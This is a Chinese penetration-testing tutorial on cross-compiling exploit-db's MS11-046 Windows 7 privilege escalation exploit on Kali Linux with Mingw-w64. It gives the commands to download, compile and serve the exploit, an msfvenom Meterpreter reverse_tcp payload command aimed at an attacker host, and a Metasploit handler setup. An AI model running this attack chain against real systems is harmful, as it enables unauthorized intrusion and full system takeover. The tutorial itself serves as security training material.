在Kali Linux上編譯Windows漏洞的方法

如何在Kali Linux上編譯Windows漏洞!
Mingw-w64是一個(gè)用于創(chuàng)建Windows應(yīng)用程序的自由和開源軟件開發(fā)環(huán)境。 Mingw-w64最初叫Mingw32,它當(dāng)時(shí)不支持64位架構(gòu)。在本教程中,我們將討論如何使用Mingw-64在 Kali Linux上編譯Windows漏洞。 讓我們開始在Kali Linux上安裝Mingw-w64。
Mingw-w64是一個(gè)用于創(chuàng)建Windows應(yīng)用程序的自由和開源軟件開發(fā)環(huán)境。 Mingw-w64最初叫Mingw32,它當(dāng)時(shí)不支持64位架構(gòu)。
在本教程中,我們將討論如何使用Mingw-64在 Kali Linux上編譯Windows漏洞。 讓我們開始在Kali Linux上安裝Mingw-w64。
1、在Kali Linux上安裝Mingw-w64
默認(rèn)情況下,Kali Linux 2016.2和更低版本上未安裝Mingw-w64。 因此,我們需要先安裝它,然后才能在Linux上編譯Windows漏洞。 執(zhí)行以下命令,安裝Mingw-w64:
apt-get update apt-get install mingw-w64
使用apt-get install mingw-w64在您的Kali主機(jī)上安裝mingw-w64。
鍵入y為yes,以確認(rèn)并繼續(xù)Mingw-w64安裝過程。 下載和安裝Mingw-w64可能需要一段時(shí)間才能完成。
2、無(wú)法找到程序包mingw-w64的解決方法
有時(shí),你嘗試安裝mingw-w64包時(shí)得到一個(gè)無(wú)法找到包mingw-w64的錯(cuò)誤,并得到類似如下提示:
root@kali:~# apt-getinstall mingw-w64 Reading package lists…Done Building dependency tree Reading stateinformation… Done E: Unable to locatepackage mingw-w64
要解決這個(gè)問題,請(qǐng)確保在sources.list文件中具有正確的存儲(chǔ)庫(kù)。您可以使用nano編輯文件:
/etc/apt/sources.list
確保您在此文件中具有正確的存儲(chǔ)庫(kù)。 您可以在以下頁(yè)面上找到不同版本的Kali Linux的存儲(chǔ)庫(kù):
http://docs.kali.org/general-use/kali-linux-sources-list-repositories
使用sources.list文件中的正確的存儲(chǔ)庫(kù),您需要運(yùn)行apt-get update,然后再次運(yùn)行Mingw-w64軟件包的安裝命令。
3、用Mingw-w64交叉編譯Windows漏洞利用
現(xiàn)在我們已經(jīng)安裝了Mingw-w64,可以開始編譯Windows漏洞利用程序了。 對(duì)于本教程,我們將編譯一個(gè)用C編寫的Windows漏洞利用程序,以利用Windows 7 SP0 x86中的CVE-2011-1249(MS11-046)漏洞。 此版本的Windows操作系統(tǒng)在輔助功能驅(qū)動(dòng)程序(AFD)中包含一個(gè)漏洞,允許已認(rèn)證的非管理用戶提升權(quán)限。即使Mingw-w64是為非常需要的64位支持開發(fā)的,我們也可以編譯32位Windows漏洞。 讓我們來(lái)看看如何編譯32位Windows漏洞。
讓我們從Exploit-db下載漏洞:
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
使用以下命令編譯Windows 32位的afd.sys exploit:
i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32
以下命令將編譯Windows 7 afd.sys特權(quán)升級(jí)漏洞:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
編譯Windows漏洞。
要將漏洞利用程序轉(zhuǎn)移到目標(biāo)主機(jī),我們將使用內(nèi)置的ApacheWeb服務(wù)器來(lái)提供它。 最后2個(gè)命令會(huì)將exploit復(fù)制到Apache主目錄并啟動(dòng)Apache Web服務(wù)器。
當(dāng)我們從cmd.exe下載并執(zhí)行該漏洞時(shí),它將如下所示:
漏洞利用成功執(zhí)行。
因?yàn)槲覀兛梢钥吹絯hoami命令在執(zhí)行exploit之前返回一個(gè)普通用戶權(quán)限,之后顯示是system用戶權(quán)限。這個(gè)exploit實(shí)際上在當(dāng)前shell中生成一個(gè)新的shell,而不是在新窗口中創(chuàng)建一個(gè)新的shell。這意味著我們也可以從命令行shell運(yùn)行此漏洞利用程序,例如Meterpreter。讓我們看看如何從Meterpreter會(huì)話運(yùn)行漏洞利用。
4、利用編譯錯(cuò)誤
當(dāng)編譯針對(duì)不同架構(gòu)和操作系統(tǒng)的漏洞時(shí),可能會(huì)發(fā)生許多錯(cuò)誤。有很多因素可能導(dǎo)致編譯失敗,例如:語(yǔ)法,庫(kù),主機(jī)和目標(biāo)體系結(jié)構(gòu),用于編譯代碼的已安裝軟件等等。一些錯(cuò)誤可能很容易修復(fù),有些錯(cuò)誤則不是。同樣重要的是不同的警告來(lái)自致命的錯(cuò)誤,因?yàn)榫婵赡苤皇侵甘疽恍╊愃频倪^時(shí)的功能,不能阻止漏洞的工作。致命錯(cuò)誤會(huì)阻止漏洞利用,因此需要修復(fù)。
處理編譯錯(cuò)誤的最佳方法是仔細(xì)閱讀,然后在Google上搜索解決方案。通常你不是第一個(gè)也不是唯一面對(duì)某個(gè)編譯錯(cuò)誤的人,因此沒有必要重新發(fā)明輪子。在線資源(如堆棧交換)通常為您提供最常見的編譯錯(cuò)誤的可能解決方案。
5、從Meterpreter shell中利用MS11-046
讓我們使用Msfvenom快速生成Windows 32位Meterpreter反向TCP有效負(fù)載,并在目標(biāo)主機(jī)上執(zhí)行它。 我們將在Metasploit中使用多處理程序來(lái)捕獲反向shell。
使用以下命令使用Msfvenom創(chuàng)建有效負(fù)載:
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcpLHOST=[IP attackbox] LPORT=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe
請(qǐng)務(wù)必更換偵聽主機(jī)IP,必要時(shí)更換偵聽端口?,F(xiàn)在啟動(dòng)msfconsole并運(yùn)行以下命令來(lái)設(shè)置多處理器漏洞:
use exploit/multi/handler set lhost [listening host IP] set lport 4444 run
在端口4444上啟動(dòng)反向TCP處理程序。
然后下載利用程序到目標(biāo)主機(jī)并執(zhí)行它。 如果一切設(shè)置正確,您應(yīng)該在msfconsole上收到一個(gè)反向Meterpreter shell:
目標(biāo)主機(jī)連接回Kali。
在Meterpreter命令行上運(yùn)行下一“shell”命令并運(yùn)行特權(quán)升級(jí)漏洞利用程序?qū)hell升級(jí)到系統(tǒng)shell:
特權(quán)升級(jí)攻擊通過我們的Meterpreter會(huì)話成功執(zhí)行。
正如你可以看到的,shell從特權(quán)測(cè)試用戶shell變化到系統(tǒng)shell。 請(qǐng)注意,在執(zhí)行它的shell中生成一個(gè)新的系統(tǒng)shell。 因此,我們不能看到利用輸出,因?yàn)樗窃谟邢薜奶貦?quán)的舊shell。
您可以通過鍵入Exit來(lái)驗(yàn)證這一點(diǎn),將退出系統(tǒng)shell并返回到仍包含Windows 7權(quán)限升級(jí)exploit輸出的用戶shell:
特權(quán)用戶shell上的exploit輸出。
學(xué)到的東西
在本教程中,我們已經(jīng)了解了在Linux上針對(duì)Windows的交叉編譯漏洞的基礎(chǔ)知識(shí)。 我們已經(jīng)學(xué)習(xí)了如何在Kali Linux上安裝Mingw-w64并解決最常見的安裝問題。 為了練習(xí)漏洞編譯過程,我們編譯了一個(gè)針對(duì)Windows7 x86的特權(quán)提升漏洞。 這也稱為交叉編譯。
我們已成功的在目標(biāo)主機(jī)上執(zhí)行已編譯的可執(zhí)行文件,并將shell從有限的用戶shell升級(jí)到系統(tǒng)shell。 我們已經(jīng)知道,這個(gè)特殊的exploit在shell中生成了一個(gè)shell,在這個(gè)shell中執(zhí)行了exploit。 這樣,我們還可以從命令行(例如Meterpreter shell)執(zhí)行特權(quán)提升漏洞利用。
最后但同樣重要的是,我們已經(jīng)了解了如何在編譯過程中修復(fù)錯(cuò)誤。
相關(guān)文章
在Kali Linux 環(huán)境下設(shè)置蜜罐的方法
蜜罐是一種計(jì)算機(jī)安全機(jī)制,其設(shè)置用來(lái)發(fā)現(xiàn)、轉(zhuǎn)移、或者以某種方式,抵消對(duì)信息系統(tǒng)的非授權(quán)嘗試。今天小編為大家?guī)?lái)的是在Kali Linux 環(huán)境下設(shè)置蜜罐的方法;有需要的朋2017-02-09Kali Linux 滲透測(cè)試技術(shù)詳解 pdf掃描版
基于39款專用工具和38個(gè)實(shí)例,詳細(xì)介紹了Kali Linux滲透測(cè)試的各種核心技術(shù),涵蓋從安裝配置,到信息收集和漏洞掃描及利用,再到權(quán)限提升及各種滲透測(cè)試等技術(shù)2017-01-03- 本文檔主要講述的是kali-linux-1.0.7安裝圖文教程;希望本文檔會(huì)給有需要的朋友帶來(lái)幫助;感興趣的朋友可以過來(lái)看看2016-12-29
- 本文檔主要講述的是kali linux基礎(chǔ)配置文檔;該文檔僅供新手參考,希望本文檔會(huì)給有需要的朋友帶來(lái)幫助;感興趣的朋友可以過來(lái)看看2016-12-29
Kali Linux滲透測(cè)試的藝術(shù) 中文PDF版 23.6MB
Kali Linux是一個(gè)滲透測(cè)試兼安全審計(jì)平臺(tái),集成了多款漏洞檢測(cè)、目標(biāo)識(shí)別和漏洞利用工具,在信息安全業(yè)界有著廣泛的用途。本書適合講解步驟清晰易懂、示例豐富,無(wú)論是經(jīng)驗(yàn)2016-11-14- 這篇文章主要介紹了在Docker中安裝Kali Linux的教程,Docker是當(dāng)下最火爆的虛擬機(jī)類技術(shù),需要的朋友可以參考下2015-09-16
virtualbox虛擬機(jī)安裝kali-linux增強(qiáng)工具圖文教程
在 Virtual Box 的 Kali Linux 虛擬機(jī)安裝增強(qiáng)工具為了整合鼠標(biāo)和屏幕以及與你的宿主機(jī)共享目錄,下面腳本之家小編就為大家?guī)?lái)virtualbox虛擬機(jī)安裝kali-linux增強(qiáng)工具圖文2014-11-30電腦系統(tǒng)漏洞的概念 Windows系統(tǒng)漏洞的危害有哪些
這篇文章主要介紹了電腦系統(tǒng)漏洞的概念,什么是電腦系統(tǒng)漏洞,以及Windows系統(tǒng)漏洞的危害有哪些?感興趣的小伙伴們可以參考一下2016-03-25Windows 10正式版漏洞頻出 開始菜單程序過多或造成崩潰
Windows 10開始菜單出現(xiàn)新漏洞,若用戶下載多于512個(gè)應(yīng)用快捷程序,程序或?qū)⑷笔?。?jù)報(bào)道,Windows 10開始菜單包含所有應(yīng)用程序列表,方便用戶快速下載程序。開始菜單快捷2015-07-30Windows安全攻略:完全修復(fù)系統(tǒng)漏洞的方法介紹
WINDOWS如果不會(huì)設(shè)置的話.經(jīng)常容易暴漏洞.非常不安全2012-07-17